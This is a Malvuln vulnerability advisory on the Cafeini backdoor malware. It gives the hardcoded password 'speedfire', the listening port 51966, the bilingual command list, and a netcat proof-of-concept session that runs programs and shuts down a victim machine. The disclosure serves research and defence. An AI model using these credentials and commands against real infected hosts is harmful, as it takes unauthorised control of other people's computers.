Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/b24c56abb4bde960c2d51d4e509d2c68_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Cafeini.b
Vulnerability: Weak Hardcoded Credentials
Family: Cafeini
Type: PE32
MD5: b24c56abb4bde960c2d51d4e509d2c68
Vuln ID: MVID-2022-0526
Disclosure: 03/25/2022
Description: The malware listens on TCP port 51966. Authentication is required, however the password "speedfire" is weak and hardcoded in the PE file.
Commands:
REGISTRYTOOLS or RT <ON/OFF> - access to REGEDIT.EXE
REGISTRYTOOLS lub RT <ON/OFF> - dostep do programu REGEDIT.EXE
TELNET <NAME> [PORT] - telnet to remote computer NAME on port PORT (default 23)
KILL <NAME> or <PID> - kills process NAME or PID (both from command PS)
DIR or LS [PATH] - shows files in current directory
DEL or ERASE or RM <PATH> - removes file PATH
COPY or CP <PATH1> <PATH2> - copies file from PATH1 to PATH2
CMD or SYSTEM or SYS <CMND> - returns results of system command (by COMMAND.COM)
TELNET <NAZWA> [PORT] - telnetuje na adres NAZWA na porcie PORT (domyslnie 23)
KILL <NAZWA> lub <PID> - zabij proces o nazwie NAZWA lub PID (uzyskany przez PS)
DIR lub LS [SCIEZKA] - wyswietla katalog
DEL lub ERASE,RM <SCIEZKA>- skasowanie pliku SCIEZK
COPY lub CP <SCIEZKA1> <SCIEZKA2> - kopiuje plik z SCIEZKA1 na SCIEZKA2
CMD lub SYS <KOMENDA> - wypisz wynik komendy systemowej (przez COMMAND.COM)
SHUTDOWN - turn off computer
OPEN <NAME> - opens file NAME with default program (eg. MP3 with WinAmp)
SHUTDOWN - zresetuj (lub wylacz) komputer
OPEN <NAZWA> - otwiera plik domyslnie ustawionym programem np. MP3 WinAmpem
Exploit/PoC:
C:\>nc64.exe x.x.x.x 51966
 CAFEiNi 1.1
Enter your password:
speedfire
[32mC:\Users\Victim\Desktop>[37mexec c:\windows\system32\calc.exe
exec c:\windows\system32\calc.exe
STATUS: program runned
[32mC:\Users\Victim\Desktop>[37m
[32mC:\Users\Victim\Desktop>[37mcd \Windows
[32mC:\Windows>[37mSHUTDOWN
SHUTDOWN
STATUS: I'm going to shutdown computer
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).